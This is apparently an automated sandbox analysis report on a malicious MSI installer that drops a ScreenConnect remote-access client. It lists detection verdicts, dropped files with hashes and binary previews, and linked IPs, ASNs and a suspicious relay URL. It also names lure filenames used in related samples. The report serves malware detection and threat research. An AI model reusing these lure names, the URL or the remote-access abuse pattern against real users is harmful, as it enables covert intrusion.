                                            • AMSI enabled
                                            Analysis Mode:default
                                            Analysis stop reason:Timeout
                                            Sample name:INSPECAO-B01S.msi
                                            Detection:MAL
                                            Classification:mal72.evad.winMSI@15/71@3/2
                                            EGA Information:
                                            • Successful, ratio: 66.7%
                                            HCA Information:
                                            • Successful, ratio: 78%
                                            • Number of executed functions: 240
                                            • Number of non-executed functions: 1
                                            Cookbook Comments:
                                            • Found application associated with file extension: .msi

                                            Warnings

                                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                            • Excluded IPs from analysis (whitelisted): 184.28.90.27
                                            • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
                                            • Execution Graph export aborted for target rundll32.exe, PID 7464 because it is empty
                                            • Not all processes where analyzed, report is missing behavior information
                                            • Report size exceeded maximum capacity and may have missing behavior information.
                                            • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                            • Report size getting too big, too many NtEnumerateKey calls found.
                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                            • Report size getting too big, too many NtQueryValueKey calls found.
                                            • Report size getting too big, too many NtSetInformationFile calls found.
                                            • VT rate limit hit for: INSPECAO-B01S.msi

                                            Simulations

                                            Behavior and APIs

                                            TimeTypeDescription
                                            07:01:13API Interceptor2x Sleep call for process: svchost.exe modified
                                            07:01:21API Interceptor1x Sleep call for process: ScreenConnect.ClientService.exe modified

                                            Joe Sandbox View / Context

                                            IPs

                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                            147.75.63.168ScreenConnect.Client (9).exeGet hashmaliciousScreenConnect ToolBrowse
                                              ScreenConnect.Client (9).exeGet hashmaliciousScreenConnect ToolBrowse

                                                Domains

                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                server-nix9656e2a4-relay.screenconnect.comhttps://ssawellsclientsecio.su/1/Viewer/Get hashmaliciousScreenConnect ToolBrowse
                                                • 147.75.63.168
                                                ScreenConnect.Client (9).exeGet hashmaliciousScreenConnect ToolBrowse
                                                • 147.75.63.168
                                                ScreenConnect.Client (9).exeGet hashmaliciousScreenConnect ToolBrowse
                                                • 147.75.63.168

                                                ASNs

                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                PACKETUSsplarm.elfGet hashmaliciousUnknownBrowse
                                                • 147.75.50.67
                                                sh4.elfGet hashmaliciousMiraiBrowse
                                                • 107.161.124.133
                                                la.bot.sparc.elfGet hashmaliciousUnknownBrowse
                                                • 147.75.86.19
                                                la.bot.sh4.elfGet hashmaliciousUnknownBrowse
                                                • 147.75.77.156
                                                1.exeGet hashmaliciousScreenConnect ToolBrowse
                                                • 147.75.84.232
                                                1.exeGet hashmaliciousScreenConnect ToolBrowse
                                                • 147.75.84.232
                                                arm6.elfGet hashmaliciousUnknownBrowse
                                                • 107.161.124.106
                                                1kqLF3lHvm.elfGet hashmaliciousMiraiBrowse
                                                • 147.75.37.89
                                                AF1cyL4cv6.vbsGet hashmaliciousAsyncRATBrowse
                                                • 193.26.115.68
                                                4d5ZJqq0M7.vbsGet hashmaliciousAsyncRATBrowse
                                                • 193.26.115.68

                                                JA3 Fingerprints

                                                ⊘No context

                                                Dropped Files

                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Client.dll1.exeGet hashmaliciousScreenConnect ToolBrowse
                                                  1.exeGet hashmaliciousScreenConnect ToolBrowse
                                                    5iT2ITz44g.exeGet hashmaliciousScreenConnect ToolBrowse
                                                      5iT2ITz44g.exeGet hashmaliciousScreenConnect ToolBrowse
                                                        E-receipt-67.exeGet hashmaliciousScreenConnect ToolBrowse
                                                          E-receipt-67.exeGet hashmaliciousScreenConnect ToolBrowse
                                                            statment.exeGet hashmaliciousScreenConnect ToolBrowse
                                                              statment.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                eBill.Client.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                  Express-Shopping-Receipt.Client (1).exeGet hashmaliciousScreenConnect ToolBrowse
                                                                    C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.dll1.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                      1.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                        5iT2ITz44g.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                          5iT2ITz44g.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                            E-receipt-67.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                              E-receipt-67.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                                statment.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                                  statment.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                                    eBill.Client.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                                      Express-Shopping-Receipt.Client (1).exeGet hashmaliciousScreenConnect ToolBrowse

                                                                                        Created / dropped Files

                                                                                        C:\Config.Msi\4c1433.rbs

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:data
                                                                                        Category:modified
                                                                                        Size (bytes):219219
                                                                                        Entropy (8bit):6.581622499442833
                                                                                        Encrypted:false
                                                                                        SSDEEP:3072:6Z9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG8:6ZuH2aCGw1ST1wQLdqv8
                                                                                        MD5:5213019BDBC956CBD60611D6DAE632C1
                                                                                        SHA1:6BFD731A07183457C755070B4C1184F121148458
                                                                                        SHA-256:79E945A332F85DC8D33FCD03B7D8F3FF69AC7BD07196968193A87EB74C2A4724
                                                                                        SHA-512:5389E299EB6A73A3724305C9FD7D6FEB1E363B802645C1820FDB8BB971154BE51154B78A74BAB8475225B777A8E2217D1C6D8ABFCA7F37A3779F799A4C0EBCFF
                                                                                        Malicious:false
                                                                                        Yara Hits:
                                                                                        • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Config.Msi\4c1433.rbs, Author: Joe Security
                                                                                        Reputation:low
                                                                                        Preview:...@IXOS.@.....@&8[Y.@.....@.....@.....@.....@.....@......&.{87BA6F17-ED48-2213-B0B4-DE77D334918D}'.ScreenConnect Client (3a24aebb8959bcfa)..INSPECAO-B01S.msi.@.....@.....@.....@......DefaultIcon..&.{87BA6F17-ED48-2213-B0B4-DE77D334918D}.....@.....@.....@.....@.......@.....@.....@.......@....'.ScreenConnect Client (3a24aebb8959bcfa)......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{D42CA421-A3C1-15D6-4810-B6C0D604145C}&.{87BA6F17-ED48-2213-B0B4-DE77D334918D}.@......&.{75EF4394-3270-ADB6-D593-0F8202C9237A}&.{87BA6F17-ED48-2213-B0B4-DE77D334918D}.@......&.{915C500B-050C-F208-AC35-E6715450BEFD}&.{87BA6F17-ED48-2213-B0B4-DE77D334918D}.@......&.{66099479-28F9-2049-9618-081E57EB56D4}&.{87BA6F17-ED48-2213-B0B4-DE77D334918D}.@......&.{A87D7104-E336-09A2-6333-F82F4C52D191}&.{87BA6F17-ED48-2213-B0B4-DE77D334918D}.@......&.{3459A6C5-E076-49CD-75D9-5D245A4DA9A3}&.{87BA6F17-ED48-2213-B0B4-DE77D334918

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\Client.en-US.resources

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):49959
                                                                                        Entropy (8bit):4.758252520953682
                                                                                        Encrypted:false
                                                                                        SSDEEP:1536:sdr6QF+gQpAfqiErOmOCqZUWi+JgJ0FQi9zwHLAhDKZ1HtRKekmrg9:sdr1F+gQOlErOmPqZUWi+JgJ0FQi9zw2
                                                                                        MD5:511202ED0BA32D7F09EAB394C917D067
                                                                                        SHA1:DBD611720FD1730198F72DEC09E8E23E6D6488F8
                                                                                        SHA-256:F8398A235B29AF6569F2B116E0299B95512D042F5A4CD38C98C79729A5FBDB9D
                                                                                        SHA-512:F04B08938F3EBF8CFA1A1157A94DA3AE4699494BDCE566619AFA5B13A8F6EBE556D522C064E5EA02E343B59A489343F77E3EA2BB2EA390AAE35A626F41CADC77
                                                                                        Malicious:false
                                                                                        Preview:...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.q...'..6....wp.......y....C|.)>..Ldt..... $...X..........1$.../...2.%%3./>>...L.y.0.C._.........1Y..Qj.o....<....=...R..;...C....&.......1p2.r.x.u?Y..R...c......X.....I.5.2q..R...>.E.pw .@ ).w.l.....S...X..'.C.I......-.Y........4.J..P<.E..=c!.@To..#.._.2.....K.!..h...z......t......^..4...D...f..Q...:..%.z.<......^.....;<...r..yC.....Q........4_.Sns..z.......=..]t...X..<....8.e`}..n....S.H[..S@?.~....,...j.2..*v.......B....A...a......D..c..w..K,..t...S.....*v....7.6|..&.....r....#....G......Y...i..'.............'.......Z.....#2e..........|....)..%....A.....4{..u;N......&q...}.tD..x.....4...J...L......5.Q..M....K..3U..M..............5...........t.>.......lYu....3TY.?...r...'.......3.m........=.H...#.o.........n.....,4.~...<h..u...i.H...V......V/...P.$%..z...

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\Client.resources

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):26722
                                                                                        Entropy (8bit):7.7401940386372345
                                                                                        Encrypted:false
                                                                                        SSDEEP:384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
                                                                                        MD5:5CD580B22DA0C33EC6730B10A6C74932
                                                                                        SHA1:0B6BDED7936178D80841B289769C6FF0C8EEAD2D
                                                                                        SHA-256:DE185EE5D433E6CFBB2E5FCC903DBD60CC833A3CA5299F2862B253A41E7AA08C
                                                                                        SHA-512:C2494533B26128FBF8149F7D20257D78D258ABFFB30E4E595CB9C6A742F00F1BF31B1EE202D4184661B98793B9909038CF03C04B563CE4ECA1E2EE2DEC3BF787
                                                                                        Malicious:false
                                                                                        Preview:...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP)...s^.J.....E.....(....jF.C...1P)...H..../..72J..I.J.a.K8c._.ks`.k.`.kK..m.M6p............b...P...........'...!...............K...............w.......P.......1......."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.1.6.....$A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.2.5.6....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.3.2....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.4.8.....,A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.B.l.a.n.k.1.6.;...(A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.M.a.c.2.2.....0A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.O.p.a.q.u.e.1.9.2.8...,A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.T.i.t.l.e.1.6.....6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.C.o.l.o.r.4...6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.I.m.a.g.e.:...DB.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.I.m.a.g.e.V.i.s.i.b.l.e.xb..*B.l.a.n.k.M.o.n.i.t.o.r.T.e.x.t.C.o.l.o.r..b..*D.a.r.k.T.h.e.m.e.B.a.r.B.a.s.e.C.o.l.o.r..b..<D.a.r.k.T.h.

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Client.dll

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):197120
                                                                                        Entropy (8bit):6.595800276062395
                                                                                        Encrypted:false
                                                                                        SSDEEP:3072:TS77Zz8NtrNOuJTaFs2VUXEWcyzvXqu5zDvJXYt:E7OrJOuJE4Xawqu5G
                                                                                        MD5:F311A8217807F6C85817058522E234A2
                                                                                        SHA1:CEB586B3CF7B0EE86EA8242D9B3D8641C9444CD1
                                                                                        SHA-256:032450CD037D9E0EEC49E0B4FF44073D539775633FB4AF6FD76D4CB19116AAC9
                                                                                        SHA-512:5EF1F6B595AF9CC7F788680AC3F3E9B8B12BAAFE734A8E2F675BAA57F5EF2C69806492911BDA54F11C5A4B8CF3CCED82CFC6E0ECF214E45083E9F9AA6A83D039
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Joe Sandbox View:
                                                                                        • Filename: 1.exe, Detection: malicious, Browse
                                                                                        • Filename: 1.exe, Detection: malicious, Browse
                                                                                        • Filename: 5iT2ITz44g.exe, Detection: malicious, Browse
                                                                                        • Filename: 5iT2ITz44g.exe, Detection: malicious, Browse
                                                                                        • Filename: E-receipt-67.exe, Detection: malicious, Browse
                                                                                        • Filename: E-receipt-67.exe, Detection: malicious, Browse
                                                                                        • Filename: statment.exe, Detection: malicious, Browse
                                                                                        • Filename: statment.exe, Detection: malicious, Browse
                                                                                        • Filename: eBill.Client.exe, Detection: malicious, Browse
                                                                                        • Filename: Express-Shopping-Receipt.Client (1).exe, Detection: malicious, Browse
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....k%..........." ..0.............*.... ... ....... .......................`.......L....@.....................................O.... ..|....................@......4...8............................................ ............... ..H............text...P.... ...................... ..`.rsrc...|.... ......................@..@.reloc.......@......................@..B........................H.......................^................................................(....*..(....*^.(...........%...}....*:.(......}....*:.(......}....*:.(......}....*..{....*:.(......}....*.0..A........(....s....%.~'...%-.&~&.....y...s....%.'...(...+(...+o"...o....*....0..s.......~#.....2. ....+...j..... ......... ...............%.r...p.%.r...p............%.%...($....5..............s%....=...*..0...........~)...%-.&~(.....|...s&...%.)...(...+..~*...%-.&~(.....}...s(...%.*...(...+.r9..

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.dll

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):68096
                                                                                        Entropy (8bit):6.081952570081618
                                                                                        Encrypted:false
                                                                                        SSDEEP:1536:XxgIAw8rVbpcgOswatz8Bn2yRIZMmQ9VIlxnBVb8ER:Xw31b4f0Q9VAnNR
                                                                                        MD5:3FF07C657068430EF677181D1F67066D
                                                                                        SHA1:37F7E9D2CCB65B4EA2733393015635EA1B43393E
                                                                                        SHA-256:D17CF13612039F6A4CA17B56C32399CCBE279A499C8D2F8E910B1FD6F4FFF2B1
                                                                                        SHA-512:5552208B5649CEAC2B32510EA12D409A85643D27E6A9C335E049195A507AE9211AEE77574376FDE059747998B60AE041E191635A67C3461585ABA7F9B877B095
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Joe Sandbox View:
                                                                                        • Filename: 1.exe, Detection: malicious, Browse
                                                                                        • Filename: 1.exe, Detection: malicious, Browse
                                                                                        • Filename: 5iT2ITz44g.exe, Detection: malicious, Browse
                                                                                        • Filename: 5iT2ITz44g.exe, Detection: malicious, Browse
                                                                                        • Filename: E-receipt-67.exe, Detection: malicious, Browse
                                                                                        • Filename: E-receipt-67.exe, Detection: malicious, Browse
                                                                                        • Filename: statment.exe, Detection: malicious, Browse
                                                                                        • Filename: statment.exe, Detection: malicious, Browse
                                                                                        • Filename: eBill.Client.exe, Detection: malicious, Browse
                                                                                        • Filename: Express-Shopping-Receipt.Client (1).exe, Detection: malicious, Browse
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...C............." ..0..............!... ...@....... ....................................@.................................-!..O....@.......................`....... ..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................a!......H.......Po....................... ........................................(....*^.(...........%...}....*:.(......}....*:.(......}....*:.(......}....*.~,...%-.&~+.....j...s....%.,...(...+*vs....%.}Q.........s....(....*....0...........s....}.....s....}...........}.......('.....}.....(....&.(*..........s....o.....(*...~-...%-.&~+.....k...s....%.-...o ....s!...}.....s"...}.....s#...}...... .... 0u.........s....s>...}....... ..6........s....s>...}.....((...($............o%........

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):95520
                                                                                        Entropy (8bit):6.505417048098125
                                                                                        Encrypted:false
                                                                                        SSDEEP:1536:jg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgIU0HMm7/xK:MhbNDxZGXfdHrX7rAc6myJkgIU0HVY
                                                                                        MD5:826314610D9E854477B08666330940B5
                                                                                        SHA1:65B601D60042CF6F263CD38AC2F63CD06A9DE159
                                                                                        SHA-256:E54963CB63C9E471E2D3D59E55E4C7AEEDCCAFDD616B99C4B3AF230608E4BCC9
                                                                                        SHA-512:5C01D6DE25D60EB6B1EB72B7FA6401B71153C2A740C41AEEB2BD302CC4E80F5C1A388B647EE16DA196705AC8EDBC60ABDA49B9A531517BB85959CC018FB5D1FB
                                                                                        Malicious:true
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..qF.qF.qF....qF.....qF....qF.<.B.qF.<.E.qF.<.C.qF....qF.#..qF.qG..qF.2.O.qF.2...qF.2.D.qF.Rich.qF.........................PE..L.....wc...............!.............!............@.................................-.....@.................................p...x....`..P............L.. )...p......`!..p............................ ..@............................................text...:........................... ..`.rdata...f.......h..................@..@.data........@.......,..............@....rsrc...P....`.......6..............@..@.reloc.......p.......<..............@..B........................................................................................................................................................................................................................................................................................

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Core.dll

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):546304
                                                                                        Entropy (8bit):6.03286879586464
                                                                                        Encrypted:false
                                                                                        SSDEEP:6144:hAUz5UEsIXxk3QCLKSkGEexE77VcYbUinCLrDfElYzMsdqe1J6tMznSAiOUfw8qg:hK67tEshnkDfyt9MznZd8PTIP8
                                                                                        MD5:3B1BA4BEBEFDC8A95B0F2F0B4E50C527
                                                                                        SHA1:15551D2E8BFB829F3A96D161B43DE820C0D417CE
                                                                                        SHA-256:A843B3A4549C43EF5BD8470CACF5D2F0F3B3C8110441FCC10079FACC7DB3DE29
                                                                                        SHA-512:F41595586CD5330537F5F02B392310B028E36F618E2583D125430ECD103EBBF6D2CF6BEFCFB1B32279EEB9FD7EF018F49131E3906FB61BC324DA85D93A9A18C7
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..N...........i... ........... ....................................@..................................h..O.......t...........................<h..8............................................ ............... ..H............text...@M... ...N.................. ..`.rsrc...t............P..............@..@.reloc...............T..............@..B.................i......H........@...&...................g........................................{:...*..{;...*V.(<.....}:.....};...*...0..A........u~.......4.,/(=....{:....{:...o>...,.(?....{;....{;...o@...*.*.*. ... )UU.Z(=....{:...oA...X )UU.Z(?....{;...oB...X*...0..b........r...p......%..{:......%q.........-.&.+.......oC....%..{;......%q.........-.&.+.......oC....(D...*..{E...*..{F...*V.(<.....}E.....}F...*.0..A........u........4.,/(=....{E....{E...o>...,.(?....{F....{F...o@...*.*.*. F.b# )UU.

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Windows.dll

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):1721344
                                                                                        Entropy (8bit):6.638160977312247
                                                                                        Encrypted:false
                                                                                        SSDEEP:24576:jQNtbLFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTs5:jebLJkGYYpT0+TFiH7efP
                                                                                        MD5:D196174CF03F86C8776E717F07D5D19F
                                                                                        SHA1:BBD2C6A59229B3E4EC7C5742248F3F55A61DD216
                                                                                        SHA-256:A1EDD67A131505CC84D76601474C53874A56B5437B835838E4A866E20F6CD264
                                                                                        SHA-512:CF4D159BCB42A1A7EA03F8877736CACE109AE79998906B9178C74F7A9B63030CDDC2BC94EF6C5F718E99C2D0039CF3589F8C4F2BF5B67DB94B3B96D2C988B45B
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....A............" ..0..<..........Z[... ...`....... ....................................@..................................[..O....`..|...........................dZ..8............................................ ............... ..H............text...h;... ...<.................. ..`.rsrc...|....`.......>..............@..@.reloc...............B..............@..B................;[......H.......,...................0....Y........................................()...*^.()..........%...}....*:.().....}....*:.().....}....*:.().....}....*..s*...*..s+...*:.(,.....(-...*..{....*"..}....*J.(/........(0...&*:.(,.....(1...*..{2...*"..}2...*.0..(........(3......+.............(0...&..X....i2.*v.(,....s4...}.....s5...}....*v.{.....r...p(...+.....o7....*.0...........o8....+..o9......(...+&.o....-....,..o......*..........."........{..........o:...&.......(.....*....0..L...

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsAuthenticationPackage.dll

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):260168
                                                                                        Entropy (8bit):6.416438906122177
                                                                                        Encrypted:false
                                                                                        SSDEEP:3072:qJvChyA4m2zNGvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2lt9Bgcld5aaYxg:0IvxDdL6d8VNdlC3g0RCXh5D
                                                                                        MD5:5ADCB5AE1A1690BE69FD22BDF3C2DB60
                                                                                        SHA1:09A802B06A4387B0F13BF2CDA84F53CA5BDC3785
                                                                                        SHA-256:A5B8F0070201E4F26260AF6A25941EA38BD7042AEFD48CD68B9ACF951FA99EE5
                                                                                        SHA-512:812BE742F26D0C42FDDE20AB4A02F1B47389F8D1ACAA6A5BB3409BA27C64BE444AC06D4129981B48FA02D4C06B526CB5006219541B0786F8F37CF2A183A18A73
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A........................T....................V.......V.......V......................=U......=U......=U$.....=U......Rich....................PE..d.....Qf.........." ...'.^...^.......................................................(....`..........................................e.......f..P................ ......HP..........P%..p............................$..@............p...............................text...t].......^.................. ..`.rdata.......p.......b..............@..@.data....+...........d..............@....pdata... ......."...x..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsBackstageShell.exe

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):61216
                                                                                        Entropy (8bit):6.316664164724877
                                                                                        Encrypted:false
                                                                                        SSDEEP:1536:9Ai+zmNzdj8bv8DtYQ4RE+TC34/ibdt7Xx56:9UzmNDYQbEQta
                                                                                        MD5:C1F206B0C0058DC4CC7B9F3125F61E20
                                                                                        SHA1:541A1564799DA24C48BE188888F306381EF23728
                                                                                        SHA-256:94E711FD79FC81084FB222FF927893669DDBA9890C6622DD4981FB5766438A63
                                                                                        SHA-512:6163A255DAF2DC9EC14391F31CA09A466B7B33662F2215B9941ADD59B46CD1177E9240D2B1C42E41EA0AC9AE2EFA03F6A2D3E80497D32F6E505B813ED66DA2AD
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c.8..........."...0.............*.... ........@.. ....................... ............@.....................................O....... ............... )..............8............................................ ............... ..H............text...0.... ...................... ..`.rsrc... ...........................@..@.reloc..............................@..B........................H........S...............................................................(....*^.(.......a...%...}....*:.(......}....*:.(......}....*:.(......}....*....0..........(....(....(....(....r...p(....o....(....(....r...p..~....(....(....r9..p..~....(....(.....g~).....(....rY..p.(....&(.....(....s ...(!...s....("...*..0...........(#.....($.....(%....s....%.o&...%.o'...%.o(...%s!...o)...%~....o*...}......(....o+...o,....(-.....@...%..(.....o.....s/...}.....{...........s0...o1....s...

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsBackstageShell.exe.config

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):266
                                                                                        Entropy (8bit):4.842791478883622
                                                                                        Encrypted:false
                                                                                        SSDEEP:6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
                                                                                        MD5:728175E20FFBCEB46760BB5E1112F38B
                                                                                        SHA1:2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
                                                                                        SHA-256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
                                                                                        SHA-512:FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
                                                                                        Malicious:false
                                                                                        Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

                                                                                        C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exe

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):598816
                                                                                        Entropy (8bit):6.182826342545805
                                                                                        Encrypted:false
                                                                                        SSDEEP:6144:0ya9pDzjhf+YMojz3cZRzyyUs0Ny2rOfQyEAlVw72191BVi1NnfEQcYF2/R4IrNC:jajDzNZFjLcZRzyyh5/EA3wv1lSYGXk
                                                                                        MD5:AB5FA8D90645878D587F386D0E276C02
                                                                                        SHA1:A602A20735A1104851F293965F1FE4AB678BF627
                                                                                        SHA-256:316BBF433F1F803D113ADF060C528CCC636656CEE26B90F5FEA011C1C73C7D16
                                                                                        SHA-512:A181E23C8FA01BC1D9F0F9F95A5CA6112E2B61F34F4C1DA696D3CCABBBD942BCC81A3F4A60921328A6020D28AED8711C22BE33761CB685921D50FEA8B1D7B986
                                                                                        Malicious:false
                                                                                        Yara Hits:
                                                                                        • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exe, Author: Joe Security
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
